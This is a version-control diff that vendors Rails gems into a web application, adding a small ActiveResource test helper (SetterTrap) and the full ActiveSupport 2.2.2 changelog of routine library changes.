+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/setter_trap.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+class SetterTrap < ActiveSupport::BasicObject
+  class << self
+    def rollback_sets(obj)
+      returning yield(setter_trap = new(obj)) do
+        setter_trap.rollback_sets
+      end
+    end
+  end
+
+  def initialize(obj)
+    @cache = {}
+    @obj = obj
+  end
+
+  def respond_to?(method)
+    @obj.respond_to?(method)
+  end
+
+  def method_missing(method, *args, &proc)
+    @cache[method] ||= @obj.send($`) if method.to_s =~ /=$/
+    @obj.send method, *args, &proc
+  end
+
+  def rollback_sets
+    @cache.each { |k, v| @obj.send k, v }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/CHANGELOG
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/CHANGELOG	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/CHANGELOG	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1257 @@
+*2.2 (November 21st, 2008)*
+
+* TimeZone offset tests: use current_period, to ensure TimeZone#utc_offset is up-to-date [Geoff Buesing]
+
+* Update bundled TZInfo to 0.3.12 [Geoff Buesing]
+
+* Increment the version of our altered memcache-client to prevent confusion caused when the 1.5.0 gem is installed.
+
+* Fixed the option merging in Array#to_xml #1126 [Rudolf Gavlas]
+
+* Make I18n::Backend::Simple reload its translations in development mode [DHH/Sven Fuchs]
+
+* TimeWithZone#freeze: preload instance variables so that we can actually freeze [Geoff Buesing]
+
+* Fix Brasilia timezone #1180 [Marcus Derencius, Kane]
+
+* Time#advance recognizes fractional days and weeks. Deprecate Durations of fractional months and years #970 [Tom Lea]
+
+* Add ActiveSupport::Rescuable module abstracting ActionController::Base rescue_from features. [Norbert Crombach, Pratik]
+
+* Switch from String#chars to String#mb_chars for the unicode proxy.  [Manfred Stienstra]
+
+  This helps with 1.8.7 compatibility and also improves performance for some operations by reducing indirection.
+
+* TimeWithZone #wday, #yday and #to_date avoid trip through #method_missing [Geoff Buesing]
+
+* Added Time, Date, DateTime and TimeWithZone #past?, #future? and #today? #720 [Clemens Kofler, Geoff Buesing]
+
+* Fixed Sri Jayawardenepura time zone to map to Asia/Colombo [Jamis Buck]
+
+* Added Inflector#parameterize for easy slug generation ("Donald E. Knuth".parameterize => "donald-e-knuth") #713 [Matt Darby]
+
+* Changed cache benchmarking to be reported in milliseconds [DHH]
+
+* Fix Ruby's Time marshaling bug in pre-1.9 versions of Ruby: utc instances are now correctly unmarshaled with a utc zone instead of the system local zone [#900 state:resolved] [Luca Guidi, Geoff Buesing]
+
+* Add Array#in_groups which splits or iterates over the array in specified number of groups. #579. [Adrian Mugnolo] Example:
+  
+  a = (1..10).to_a
+  a.in_groups(3)        #=> [[1, 2, 3, 4], [5, 6, 7, nil], [8, 9, 10, nil]]
+  a.in_groups(3, false) #=> [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]]
+
+* Fix TimeWithZone unmarshaling: coerce unmarshaled Time instances to utc, because Ruby's marshaling of Time instances doesn't respect the zone [Geoff Buesing]
+
+* Added Memoizable mixin for caching simple lazy loaded attributes [Josh Peek]
+
+* Move the test related core_ext stuff out of core_ext so it's only loaded by the test helpers.  [Michael Koziarski]
+
+* Add Inflection rules for String#humanize. #535 [dcmanges]
+
+  ActiveSupport::Inflector.inflections do |inflect|
+    inflect.human(/_cnt$/i, '\1_count')
+  end
+
+  'jargon_cnt'.humanize # => 'Jargon count'
+
+* TimeWithZone: when crossing DST boundary, treat Durations of days, months or years as variable-length, and all other values as absolute length. A time + 24.hours will advance exactly 24 hours, but a time + 1.day will advance 23-25 hours, depending on the day. Ensure consistent behavior across all advancing methods [Geoff Buesing]
+
+* Added TimeZone #=~, to support matching zones by regex in time_zone_select. #195 [Ernie Miller]
+
+* Added Array#second through Array#fifth as aliases for Array#[1] through Array#[4] + Array#forty_two as alias for Array[41] [DHH]
+
+* Added test/do declaration style testing to ActiveSupport::TestCase [DHH via Jay Fields]
+
+* Added Object#present? which is equivalent to !Object#blank? [DHH]
+
+* Added Enumberable#many? to encapsulate collection.size > 1 [DHH/Damian Janowski]
+
+* Add more standard Hash methods to ActiveSupport::OrderedHash [Steve Purcell]
+
+* Namespace Inflector, Dependencies, OrderedOptions, and TimeZone under ActiveSupport [Josh Peek]
+
+* Added StringInquirer for doing things like StringInquirer.new("production").production? # => true and StringInquirer.new("production").development? # => false [DHH]
+
+* Fixed Date#end_of_quarter to not blow up on May 31st [#289 state:resolved] (Danger)
+
+
+*2.1.0 (May 31st, 2008)*
+
+* TimeZone#to_s shows offset as GMT instead of UTC, because GMT will be more familiar to end users (see time zone selects used by Windows OS, google.com and yahoo.com.) Reverts [8370] [Geoff Buesing]
+
+* Hash.from_xml: datetime xml types overflow to Ruby DateTime class when out of range of Time. Adding tests for utc offsets [Geoff Buesing]
+
+* TimeWithZone #+ and #- : ensure overflow to DateTime with Numeric arg [Geoff Buesing]
+
+* Time#to_json: don't convert to utc before encoding. References #175 [Geoff Buesing]
+
+* Remove unused JSON::RESERVED_WORDS, JSON.valid_identifier? and JSON.reserved_word? methods. Resolves #164. [Cheah Chu Yeow]
+
+* Adding Date.current, which returns Time.zone.today if config.time_zone is set; otherwise returns Date.today [Geoff Buesing]
+
+* TimeWithZone: date part getter methods (#year #mon #day etc) are defined on class; no longer relying on method_missing [Geoff Buesing]
+
+* Time.zone.parse return nil for strings with no date information [Geoff Buesing]
+
+* Time.zone.parse respects offset information in string. Resolves #105. [Scott Fleckenstein, Geoff Buesing]
+
+* Added Ruby 1.8 implementation of Process.daemon
+
+* Duration #since and #ago with no argument (e.g., 5.days.ago) return TimeWithZone when config.time_zone is set. Introducing Time.current, which returns Time.zone.now if config.time_zone is set, otherwise just returns Time.now [Geoff Buesing]
+
+* Time#since behaves correctly when passed a Duration. Closes #11527 [kemiller]
+
+* Add #getutc alias for DateTime#utc [Geoff Buesing]
+
+* Refactor TimeWithZone: don't send #since, #ago, #+, #-, #advance through method_missing [Geoff Buesing]
+
+* TimeWithZone respects config.active_support.use_standard_json_time_format [Geoff Buesing]
+
+* Add config.active_support.escape_html_entities_in_json to allow disabling of html entity escaping.  [rick]
+
+* Improve documentation. [Xavier Noria]
+
+* Modified ActiveSupport::Callbacks::Callback#call to accept multiple arguments.
+
+* Time #yesterday and #tomorrow behave correctly crossing DST boundary. Closes #7399 [sblackstone]
+
+* TimeWithZone: Adding tests for dst and leap day edge cases when advancing time [Geoff Buesing]
+
+* TimeWithZone#method_missing: send to utc to advance with dst correctness, otherwise send to time. Adding tests for time calculations methods [Geoff Buesing]
+
+* Add config.active_support.use_standard_json_time_format setting so that Times and Dates export to ISO 8601 dates.  [rick]
+
+* TZInfo: Removing unneeded TimezoneProxy class [Geoff Buesing]
+
+* TZInfo: Removing unneeded TimezoneIndexDefinition, since we're not including Indexes::Timezones [Geoff Buesing] 
+
+* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled [Geoff Buesing]
+
+* Bundling abbreviated version of TZInfo gem 0.3.8: only the classes and zone definitions required to support Rails time zone features are included. If a recent version of the full TZInfo gem is installed, this will take precedence over the bundled version [Geoff Buesing]
+
+* TimeWithZone#marshal_load does zone lookup via Time.get_zone, so that tzinfo/Olson identifiers are handled [Geoff Buesing]
+
+* Time.zone= accepts TZInfo::Timezone instances and Olson identifiers; wraps result in TimeZone instance [Geoff Buesing] 
+
+* TimeWithZone time conversions don't need to be wrapped in TimeOrDateTime, because TZInfo does this internally [Geoff Buesing]
+
+* TimeWithZone#usec returns 0 instead of error when DateTime is wrapped [Geoff Buesing]
+
+* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+
+* Ensure that TimeWithZone#to_yaml works when passed a YAML::Emitter.  [rick]
+
+* Ensure correct TimeWithZone#to_date [Geoff Buesing]
+
+* Make TimeWithZone work with tzinfo 0.2.x: use TZInfo::Timezone#zone_identifier alias for #abbreviation, silence warnings on tests. Raise LoadError when TZInfo version is < 0.2 by sniffing for TZInfo::TimeOrDateTime constant. Move all tzinfo-dependent TimeZone tests into uses_tzinfo block [Geoff Buesing]
+
+* Time, DateTime and TimeWithZone #in_time_zone defaults to Time.zone. Removing now unneeded #in_current_time_zone [Geoff Buesing]
+
+* TZInfo caches Timezone instances in its own internal hash cache, so TimeZone::MAPPING doesn't need to cache them as well [Geoff Buesing]
+
+* Adding TimeZone#parse [Geoff Buesing]
+
+* Adding TimeZone#at and DateTime#to_f [Geoff Buesing]
+
+* TimeWithZone responds to Ruby 1.9 weekday-named query methods [Geoff Buesing]
+
+* TimeWithZone caches TZInfo::TimezonePeriod used for time conversion so that it can be reused, and enforces DST rules correctly when instance is created from a local time [Geoff Buesing]
+
+* Fixed that BufferedLogger should create its own directory if one doesn't already exist #11285 [lotswholetime]
+
+* Fix Numeric time tests broken by DST change by anchoring them to fixed times instead of Time.now. Anchor TimeZone#now DST test to time specified with Time.at instead of Time.local to work around platform differences with Time.local and DST representation [Geoff Buesing]
+
+* Removing unneeded #change_time_zone method from Time, DateTime and TimeWithZone [Geoff Buesing]
+
+* TimeZone #local and #now correctly enforce DST rules [Geoff Buesing]
+
+* TimeWithZone instances correctly enforce DST rules. Adding TimeZone#period_for_utc [Geoff Buesing]
+
+* test_time_with_datetime_fallback expects DateTime.local_offset instead of DateTime.now.offset [Geoff Buesing]
+
+* Adding TimeWithZone #marshal_dump and #marshal_load [Geoff Buesing]
+
+* Add OrderedHash#to_hash [josh]
+
+* Adding Time#end_of_day, _quarter, _week, and _year.  #9312 [Juanjo Bazan, Tarmo Tänav, BigTitus]
+
+* Adding TimeWithZone#between? [Geoff Buesing]
+
+* Time.=== returns true for TimeWithZone instances [Geoff Buesing]
+
+* TimeWithZone #+ and #- behave consistently with numeric arguments regardless of whether wrapped time is a Time or DateTime; consistenty answers false to #acts_like?(:date) [Geoff Buesing]
+
+* Add String#squish and String#squish! to remove consecutive chunks of whitespace.  #11123 [jordi, Henrik N]
+
+* Serialize BigDecimals as Floats when using to_yaml. #8746 [ernesto.jimenez]
+
+* Adding TimeWithZone #to_yaml, #to_datetime, #eql? and method aliases for duck-typing compatibility with Time [Geoff Buesing]
+
+* TimeWithZone #in_time_zone returns +self+ if zone argument is the same as #time_zone [Geoff Buesing]
+
+* Adding TimeWithZone #to_a, #to_f, #to_i, #httpdate, #rfc2822 [Geoff Buesing]
+
+* Pruning unneeded TimeWithZone#change_time_zone_to_current [Geoff Buesing]
+
+* Time#zone=, #in_time_zone and #change_time_zone accept a Duration [Geoff Buesing]
+
+* Time#in_time_zone handles Time.local instances correctly [Geoff Buesing]
+
+* Pruning unneeded Time#change_time_zone_to_current. Enhanced docs to #change_time_zone to explain the difference between this method and #in_time_zone [Geoff Buesing]
+
+* TimeZone#new method renamed #local; when used with Time.zone, constructor now reads: Time.zone.local() [Geoff Buesing]
+
+* Added Base64.encode64s to encode values in base64 without the newlines. This makes the values immediately usable as URL parameters or memcache keys without further processing [DHH]
+
+* Remove :nodoc: entries around the ActiveSupport test/unit assertions.  #10946 [dancroak, jamesh]
+
+* Add Time.zone_default accessor for setting the default time zone.  Rails::Configuration.time_zone sets this.  #10982 [Geoff Buesing]
+
+* cache.fetch(key, :force => true) to force a cache miss.  [Jeremy Kemper]
+
+* Support retrieving TimeZones with a Duration.  TimeZone[-28800] == TimeZone[-480.minutes].  [rick]
+
+* TimeWithZone#- added, so that #- can handle a Time or TimeWithZone argument correctly [Geoff Buesing]
+
+* with_timezone test helper renamed with_env_tz, to distinguish between setting ENV['TZ'] and setting Time.zone in tests [Geoff Buesing]
+
+* Time#- coerces TimeWithZone argument to a Time instance so that difference in seconds can be calculated. Closes #10914 [Geoff Buesing, yyyc514]
+
+* Adding UTC zone to TimeZone; TimeWithZone no longer has to fake UTC zone with nil [Geoff Buesing]
+
+* Time.get_zone refactored to private method, given that the encapsulated logic is only useful internally [Geoff Buesing]
+
+* Time.zone uses thread-local variable for thread safety. Adding Time.use_zone, for overriding Time.zone locally inside a block. Removing unneeded Time.zone_reset! [Geoff Buesing]
+
+* TimeZone#to_s uses UTC rather than GMT; reapplying change that was undone in [8679]. #1689 [Cheah Chu Yeow]
+
+* Time.days_in_month defaults to current year if no year is supplied as argument #10799 [Radar], uses Date.gregorian_leap? to determine leap year, and uses constant lookup to determine days in month [Geoff Buesing]  
+
+* Adding Time and DateTime #compare_with_coercion, which layers behavior on #<=> so that any combination of Time, DateTime and ActiveSupport::TimeWithZone instances can be chronologically compared [Geoff Buesing]
+
+* TimeZone#now returns an ActiveSupport::TimeWithZone [Geoff Buesing]
+
+* Time #in_current_time_zone and #change_time_zone_to_current return self when Time.zone is nil [Geoff Buesing]
+
+* Remove unneeded #to_datetime_default_s alias for DateTime#to_s, given that we inherit a #to_default_s from Date that does exactly the same thing [Geoff Buesing]
+
+* Refactor Time and DateTime #to_formatted_s: use ternary instead of nested if/else [Geoff Buesing]
+
+* Adding Time and DateTime #formatted_offset, for outputting +HH:MM utc offset strings with cross-platform consistency [Geoff Buesing]
+
+* Adding alternate_utc_string option to TimeZone#formatted_offset. Removing unneeded TimeZone#offset. [Geoff Buesing]
+
+* Introduce ActiveSupport::TimeWithZone, for wrapping Time instances with a TimeZone. Introduce instance methods to Time for creating TimeWithZone instances, and class methods for managing a global time zone. [Geoff Buesing]
+
+* Replace non-dst-aware TimeZone class with dst-aware class from tzinfo_timezone plugin. TimeZone#adjust and #unadjust are no longer available; tzinfo gem must now be present in order to perform time zone calculations, via #local_to_utc and #utc_to_local methods. [Geoff Buesing]
+
+* Extract ActiveSupport::Callbacks from Active Record, test case setup and teardown, and ActionController::Dispatcher.  #10727 [Josh Peek]
+
+* Introducing DateTime #utc, #utc? and #utc_offset, for duck-typing compatibility with Time. Closes #10002 [Geoff Buesing]
+
+* Time#to_json uses Numeric#to_utc_offset_s to output a cross-platform-consistent representation without having to convert to DateTime. References #9750 [Geoff Buesing]
+
+* Refactor number-to-HH:MM-string conversion logic from TimeZone#formatted_offset to a reusable Numeric#to_utc_offset_s method. [Geoff Buesing]
+
+* Continue evolution toward ActiveSupport::TestCase.  #10679 [Josh Peek]
+
+* TestCase: introduce declared setup and teardown callbacks. Pass a list of methods and an optional block to call before setup or after teardown. Setup callbacks are run in the order declared; teardown callbacks are run in reverse.  [Jeremy Kemper]
+
+* Added ActiveSupport::Gzip.decompress/compress(source) as an easy wrapper for Zlib [Tobias Luetke]
+
+* Included MemCache-Client to make the improved ActiveSupport::Cache::MemCacheStore work out of the box [Bob Cottrell, Eric Hodel]
+
+* Added ActiveSupport::Cache::* framework as an extraction from ActionController::Caching::Fragments::* [DHH]
+
+* Fixed String#titleize to work for strings with 's too #10571 [trek]
+
+* Changed the implementation of Enumerable#group_by to use a double array approach instead of a hash such that the insert order is honored [DHH/Marcel]
+
+* remove multiple enumerations from ActiveSupport::JSON#convert_json_to_yaml when dealing with date/time values.  [rick]
+
+* Hash#symbolize_keys skips keys that can't be symbolized.  #10500 [Brad Greenlee]
+
+* Ruby 1.9 compatibility.  #1689, #10466, #10468, #10554, #10594, #10632 [Cheah Chu Yeow, Pratik Naik, Jeremy Kemper, Dirkjan Bussink, fxn]
+
+* TimeZone#to_s uses UTC rather than GMT.  #1689 [Cheah Chu Yeow]
+
+* Refactor of Hash#symbolize_keys! to use Hash#replace.  Closes #10420 [ReinH]
+
+* Fix HashWithIndifferentAccess#to_options! so it doesn't clear the options hash.  Closes #10419 [ReinH]
+
+
+*2.0.1* (December 7th, 2007)
+
+* Added Array#from and Array#to that behaves just from String#from and String#to [DHH]
+
+* Fix that empty collections should be treated as empty arrays regardless of whitespace for Hash#from_xml #10255 [adamj]
+
+* Time#time_with_datetime_fallback, Time#to_datetime, Date#to_datetime and String#to_datetime honor Ruby's default calendar reform setting. #10201 [Geoff Buesing]
+
+* Change Time and DateTime #end_of_month to return last second of month instead of beginning of last day of month. Closes #10200 [Geoff Buesing]
+
+* Speedup String#blank?  [Jeremy Kemper, Koz]
+
+* Add documentation for Hash#diff. Closes #9306 [Tarmo Tänav]
+
+* Add new superclass_delegating_accessors.  Similar to class inheritable attributes but with subtly different semantics. [Koz, Tarmo Tänav]
+
+* Change JSON to encode %w(< > &) as 4 digit hex codes to be in compliance with the JSON spec.  Closes #9975 [Josh Peek, Cheah Chu Yeow, Tim Pope]
+
+* Fix JSON encoding/decoding bugs dealing with /'s.  Closes #9990 [Rick, theamazingrando]
+
+* Introduce a base class for all test cases used by rails applications. ActiveSupport::TestCase [Koz]
+
+  The intention is to use this to reduce the amount of monkeypatching / overriding that 
+  is done to test/unit's classes.
+
+* Document Enumerable and Hash #to_json.  #9970 [Cheah Chu Yeow]
+
+* Hash#to_xml handles symbol values.  #9954 [Assaf]
+
+* Hash#symbolize_keys behaves well with integer keys.  #9890 [PotatoSalad]
+
+* Multibyte: String#slice supports regexp argument.  #9646 [yob]
+
+* object.duplicable? returns true if object.dup is safe. False for nil, true, false, symbols, and numbers; true otherwise.  #9333 [sur]
+
+* Time, Date and DateTime #advance accept :weeks option.  #9866 [Geoff Buesing]
+
+* Fix Time#years_ago and #years_since from leap days.  #9865 [Geoff Buesing]
+
+* Time and DateTime#advance accept :hours, :minutes, and :seconds options.  #9825 [Geoff Buesing]
+
+* Fix Date#years_ago and #years_since from leap days.  #9864 [Geoff Buesing]
+
+* Refactor Time and Date#months_since and #months_ago to use #advance.  #9863 [Geoff Buesing]
+
+* Rebundle Builder 2.1.2 but prefer a newer RubyGem if available.  [Jeremy Kemper]
+
+* Add Range#overlaps?(range), Range#include?(range), and Range#step without a block. [brandon]
+
+* Correct BufferedLogger#level? checks.  #9806 [wildchild, Johan Sorensen]
+
+* String#to_xs uses Eric Wong's fast_xs extension, if available, for Builder speedup.  http://bogomips.org/fast_xs/  [Jeremy Kemper]
+
+* Introduce BasicObject as Builder::BlankSlate for Ruby 1.9 forward compatibility.  [Jeremy Kemper]
+
+* Unbundle Builder in favor of a gem dependency.  [Jeremy Kemper]
+
+* Disambiguate Time, Date, and DateTime#to_json formatting.  #9750 [Geoff Buesing, Cheah Chu Yeow]
+
+* Hash#to_json takes :only or :except options to specific or omit certain hash keys. Enumerable#to_json passes through its options to each element.  #9751 [Cheah Chu Yeow]
+
+* BufferedLogger#auto_flushing = N flushes the log every N messages. Buffers with an array instead of string. Disabling auto_flushing still flushes when the buffer hits a maximum size, as a failsafe against memory-gobbling.  [Jeremy Kemper]
+
+* Fixed Date#xmlschema for dates outside the range of what can be created with Time #9744 [Geoff Buesing]
+
+* Fixed that La Paz was included in -25200 and -14400 offsets when it should only be in -14400 #9735 [bermi]
+
+* Fixed JSON encoding to use quoted keys according to the JSON standard.  #8762 [choonkat, Cheah Chu Yeow]
+
+* Alias Object#send to send! for Ruby 1.9 forward compatibility.  [Jeremy Kemper]
+
+* Backport Object#instance_variable_defined? for Ruby < 1.8.6.  [Jeremy Kemper]
+
+* BufferedLogger#add converts the message to a string.  #9702, #9724 [eigentone, DrMark, tomafro]
+
+* Added ActiveSupport::BufferedLogger as a duck-typing alternative (albeit with no formatter) to the Ruby Logger, which provides a very nice speed bump (inspired by Ezra's buffered logger) [DHH]
+
+* Object#instance_exec produces fewer garbage methods.  [Mauricio Fernandez]
+
+* Decode json strings as Dates/Times if they're using a YAML-compatible format.  Closes #9614 [Rick]
+
+* Fixed cache_page to use the request url instead of the routing options when picking a save path.  #8614 [Josh Peek]
+
+* Object.subclasses_of includes anonymous subclasses.  [Jeremy Kemper]
+
+* Fixed that pluralizing an empty string should return the same empty string, not "s".  #7720 [Josh Peek]
+
+* Added call to inspect on non-string classes for the logger #8533 [codahale]
+
+* Deprecation: remove deprecated :mday option from Time, Date, and DateTime#change.  [Jeremy Kemper]
+
+* Fix JSON decoder with nested quotes and commas.  #9579 [zdennis]
+
+* Hash#to_xml doesn't double-unescape.  #8806 [Ezran]
+
+* Added Array#rand #9170 [Norbert Crombach]. Examples:
+
+    [].rand       # => nil
+    ['a'].rand    # => 'a'
+    [1,2,3].rand  # => 1 or 2 or 3
+
+* Deprecation: removed Reloadable.  [Jeremy Kemper]
+
+* Make the utf-handler return the correct value for non-matching regular expressions. Closes #9049 [manfred]
+
+* Add ljust, rjust and center to utf8-handler. Closes #9165 [manfred]
+
+* Fix Time#advance bug when trying to advance a year from leap day.  Closes #8655 [gbuesing]
+
+* Add support for []= on ActiveSupport::Multibyte::Chars. Closes #9142. [ewan, manfred]
+
+* Added Array#extract_options! to encapsulate the pattern of getting an options hash out of a variable number of parameters.  #8759 [Norbert Crombach]
+
+* Let alias_attribute work with attributes with initial capital letters (legacy columns etc).  Closes #8596 [mpalmer]
+
+* Added Hash#except which is the inverse of Hash#slice -- return the hash except the keys that are specified [DHH]
+
+* Added support for pluralization with a different starting letter than the singular version (cow/kine) #4929 [norri_b/hasmanyjosh]
+
+* Demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin.  #8453 [candlerb, Jeremy Kemper]
+
+* Backport clean_logger changes to support ruby 1.8.2 [mislav]
+
+* Added proper handling of arrays #8537 [hasmanyjosh]
+
+  Before:
+    Hash.from_xml '<images></images>'
+    # => {:images => nil}
+
+    Hash.from_xml '<images><image>foo.jpg</image></images>'
+    # => {:images => {:image => "foo.jpg"}}
+
+    Hash.from_xml '<images><image>foo.jpg</image><image>bar.jpg</image></images>'
+    # => {:images => {:image => ["foo.jpg", "bar.jpg"]}}
+
+  After:
+    Hash.from_xml '<images type="array"></images>'
+    # => {:images => []}
+
+    Hash.from_xml '<images type="array"><image>foo.jpg</image></images>'
+    # => {:images => ["foo.jpg"]}
+
+    Hash.from_xml '<images type="array"><image>foo.jpg</image><image>bar.jpg</image></images>'
+    # => {:images => ["foo.jpg", "bar.jpg"]}
+
+* Improve Time and Date test coverage.  #8646 [Josh Peek]
+
+* Add Date#since, ago, beginning_of_day, and end_of_day. Date + seconds works now.  #8575 [Geoff Buesing]
+
+* String#to_time overflows to DateTime. Add String#to_datetime.  #8572 [Geoff Buesing]
+
+* Date.yesterday and .tomorrow.  #8571 [Geoff Buesing]
+
+* Readable Date and DateTime#inspect.  #8570 [Geoff Buesing]
+
+* Move common DateTime calculations to Date.  #8536 [Geoff Buesing]
+
+* Added Date#change (like Time#change) [DHH]
+
+* DateTime#to_time converts to Time unless out of range.  #8512 [Geoff Buesing]
+
+* Date#to_datetime, #to_s(:rfc822).  #8512 [Geoff Buesing]
+
+* Time durations use since instead of + for accuracy.  #8513 [Geoff Buesing]
+
+* escape <'s and >'s in JSON strings. #8371 [Rick]
+
+* Inflections: MatrixTest -> MatrixTests instead of MatricesTest.  #8496 [jbwiv]
+
+* Multibyte strings respond_to the String methods they proxy so they can be duck-typed.  #6549 [Tuxie]
+
+* Array#to_xml yields the builder just like Hash and ActiveRecord::Base.  #8472 [seth]
+
+* Date, Time, and DateTime support formatting blocks in addition to strftime strings. Introduce :long_ordinal format, e.g. "February 21st, 2005".  #8191 [Coda Hale]
+
+* Document Object#blank?.  #6491 [Chris Mear]
+
+* Date, Time, and DateTime#to_json.  #8399 [wycats]
+
+* Simplify API of assert_difference by passing in an expression that is evaluated before and after the passed in block. See documenation for examples of new API. [Marcel Molina Jr.]
+
+* Added assert_difference and assert_no_difference to test/unit assertions [Tobias Luetke]
+
+* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [DHH]
+
+* Added parsing of file type in Hash.xml_in so you can easily do file uploads with base64 from an API [DHH]
+
+    <person>
+      <name>David</name>
+      <avatar type="file" name="me.jpg" content_type="image/jpg">R0lGODlhkACZAPUAAM5lcfjrtMQCG=\n</avatar>
+    </person>
+  
+  ...becomes:
+  
+    attributes = { :person => { :name => "David", :avatar => #<StringIO> } }
+    attributes[:person][:avatar].content_type      # => "image/jpg"
+    attributes[:person][:avatar].original_filename # => "me.jpg"
+    attributes[:person][:avatar].read # => binary data of the file
+  
+  Which is duck-type compatible with the files that you get when doing multipart uploads through HTML.
+
+* Improved multibyte performance by relying less on exception raising #8159 [Blaine]
+
+* Use XSD-compatible type names for Hash#to_xml and make the converters extendable #8047 [Tim Pope]
+
+* Added yielding of builder in Hash#to_xml [DHH]
+
+* Hash#with_indifferent_access now also converts hashes kept in arrays to indifferent access (makes it easier to treat HTML and XML parameters the same) [DHH]
+
+* Hash#to_xml supports YAML attributes.  #7502 [jonathan]
+
+* Refactor ActiveSupport::JSON to be less obtuse.  Add support for JSON decoding by way of Syck with ActiveSupport::JSON.decode(json_string).  Prevent hash keys that are JavaScript reserved words from being unquoted during encoding.  [Sam Stephenson]
+
+* alias_method_chain preserves the original method's visibility.  #7854 [Jonathan Viney]
+
+* Update Dependencies to ignore constants inherited from ancestors. Closes #6951. [Nicholas Seckar]
+
+* Array#to_query preserves its ordering.  #7756 [Greg Spurrier]
+
+* Out-of-range Time calculations transparently overflow to DateTime. Introduce Time#to_datetime.  #7706, #7715 [Geoff Buesing]
+
+* DateTime calculations analogous to the Date and Time extensions.  #7693 [Geoff Buesing]
+
+* Give DateTime correct .to_s implementations, lets it play nice with ActiveRecord quoting.  #7649 [Geoff Buesing]
+
+* Add File.atomic_write,  allows you to write large files in an atomic manner, preventing users from seeing half written files.  [Koz]
+
+* Allow users to provide custom formatters to Logger. [aeden]
+
+* Hash#to_query CGI-escapes its keys.  [Jeremy Kemper]
+
+* Optimize Class Inheritable Attributes so that unnecessary hashes are not created.  Closes #7472 [Bruce Perens]
+
+* :db format for Date#to_s [Jeremy Kemper]
+    Date.new(2007, 1, 27).to_s(:db) # => '2007-01-27'
+
+* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer.  [Rick]
+
+* Added Hash#to_query to turn a hash of values into a form-encoded query string [Nicholas Seckar]
+
+* Increase test coverage for subclasses_of. Closes #7335. [Roman2K, Nicholas Seckar]
+
+* Remove unused code from Duration#inspect.  Closes #7180.  [Rich Collins]
+
+* Added test coverage for Inflector.inflections.clear.  Closes #7179. [Rich Collins]
+
+* ActiveSupport::Multibyte::Handlers::UTF8Handler should raise when a range and an integer are passed in (just like the native implementation).  Closes #7176 [Rich Collins]
+
+* A couple extra tests for #classify.  Closes #7273. [Josh Susser]
+
+* Better docs for Object extensions [zackchandler, Jamis Buck]
+
+* Fix that Dates couldn't be subtracted from Dates after [5940].  [Sam Stephenson]
+
+* Add Object#acts_like? and Time#acts_like_time? and Date#acts_like_date? to facilitate duck-typing. [Jamis Buck]
+
+* Make 1.months and friends accurate by introducing a Duration class.  #6835 [eventualbuddha]
+
+
+*1.4.2* (March 12th, 2007)
+
+* Ruby 1.8.6 and 1.9 define private Time#to_date and #to_datetime; make them
+public for compatibility.  [Jeremy Kemper]
+
+* Deprecation: warn on stderr if RAILS_DEFAULT_LOGGER isn't set yet.  [Jeremy Kemper]
+
+
+*1.4.1* (February 5th, 2007)
+
+* Optimize Class Inheritable Attributes so that unnecessary hashes are not created.  Closes #7472 [Bruce Perens]
+
+* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer.  [Rick]
+
+* Full test coverage for Inflector.  #7228 [Dan Kubb]
+
+
+*1.4.0* (January 16th, 2007)
+
+* Document Inflector.ordinalize and merge docs from String inflections.  #7023 [smeade]
+
+* Unbundle flexmock.  [Jeremy Kemper]
+
+* Fix Dependencies.autoloaded? to ignore anonymous modules. Closes #6561. [Nicholas Seckar]
+
+* Update load once paths to prevent nested once constants from being detected and claimed by an external non-once load. [Nicholas Seckar]
+
+* Deprecation: silence warnings when reporting test errors.  [Jeremy Kemper]
+
+* Hash#slice(*keys) returns a new hash with only the given keys. #slice! replaces the hash with only the given keys. Works with HashWithIndifferentAccess also.  [Jeremy Kemper]
+
+* HashWithIndifferentAccess#to_hash converts to a Hash with String keys and the same default value.  [Jeremy Kemper]
+
+* Fix remove_constant to correctly handle constant names of the form "::A::...". References #6720. [Nicholas Seckar]
+
+* Fixed Array#to_xml when it contains a series of hashes (each piece would get its own XML declaration) #6610 [thkarcher/cyu]
+
+* Added Time#to_s(:time) which will just return H:M, like 17:44 [DHH]
+
+* Add Module#attr_accessor_with_default to initialize value of attribute before setting it. Closes #6538. [Stuart Halloway, Marcel Molina Jr.]
+
+* Hash#to_xml handles keys with the same name as Kernel methods.  #6613 [Catfish]
+
+* Added Time#end_of_day to get 23:59:59 of that day [DHH]
+
+* Don't quote hash keys in Hash#to_json if they're valid JavaScript identifiers.  Disable this with ActiveSupport::JSON.unquote_hash_key_identifiers = false if you need strict JSON compliance. [Sam Stephenson]
+
+* Lazily load the Unicode Database in the UTF-8 Handler [Rick Olson]
+
+* Update dependencies to delete partially loaded constants. [Nicholas Seckar]
+
+* Fix unicode JSON regexp for Onigurama compatibility.  #6494 [whitley]
+
+* update XmlSimple to 1.0.10. Closes #6532. [nicksieger]
+
+* Update dependencies to allow constants to be defined alongside their siblings. A common case for this is AR model classes with STI; user.rb might define User, Administrator and Guest for example. [Nicholas Seckar]
+
+* next_week respects DST changes.  #6483, #5617, #2353, #2509, #4551 [marclove, rabiedenharn, rails at roetzel.de, jsolson at damogran.org, drbrain at segment7.net]
+
+* Expose methods added to Enumerable in the documentation, such as group_by. Closes #6170. [sergeykojin at gmail.com, Marcel Molina Jr.]
+
+* Ensure Chars#tidy_bytes only tidies broken bytes. Closes #6397 [Manfred Stienstra]
+
+* Add 'unloadable', a method used to mark any constant as requiring an unload after each request. [Nicholas Seckar]
+
